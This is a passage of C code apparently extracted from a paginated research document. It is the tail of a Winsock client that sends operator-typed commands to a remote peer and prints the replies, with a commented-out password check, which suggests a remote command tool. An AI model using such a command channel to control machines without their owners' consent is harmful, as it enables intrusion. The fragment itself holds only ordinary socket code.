printf("Wrong Username or PAssword... EXITING");

shutdown(ConnectSocket,2);

exit(0);

}

*/

// shutdown the connection since no more data will be sent

// Ready to send commands

WinExec("cls",SW_SHOWDEFAULT);

101

Page 102: Research

// Receive until the peer closes the connection

do {

printf("######>");

scanf("%s",sendbuf);

send(ConnectSocket,sendbuf,strlen(sendbuf),0);

iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);

if ( iResult > 0 )

{

recvbuf[iResult]='\0';

if(strcmp(recvbuf,"0")==0)

{

}

else

{

}

}

102

Page 103: Research

else if ( iResult == 0 )

printf("Connection closed\n");

else

printf("recv failed: %d\n", WSAGetLastError());

} while( iResult > 0 );

// cleanup

closesocket(ConnectSocket);

WSACleanup();

return 0;

}

Byee :)

See you soon

103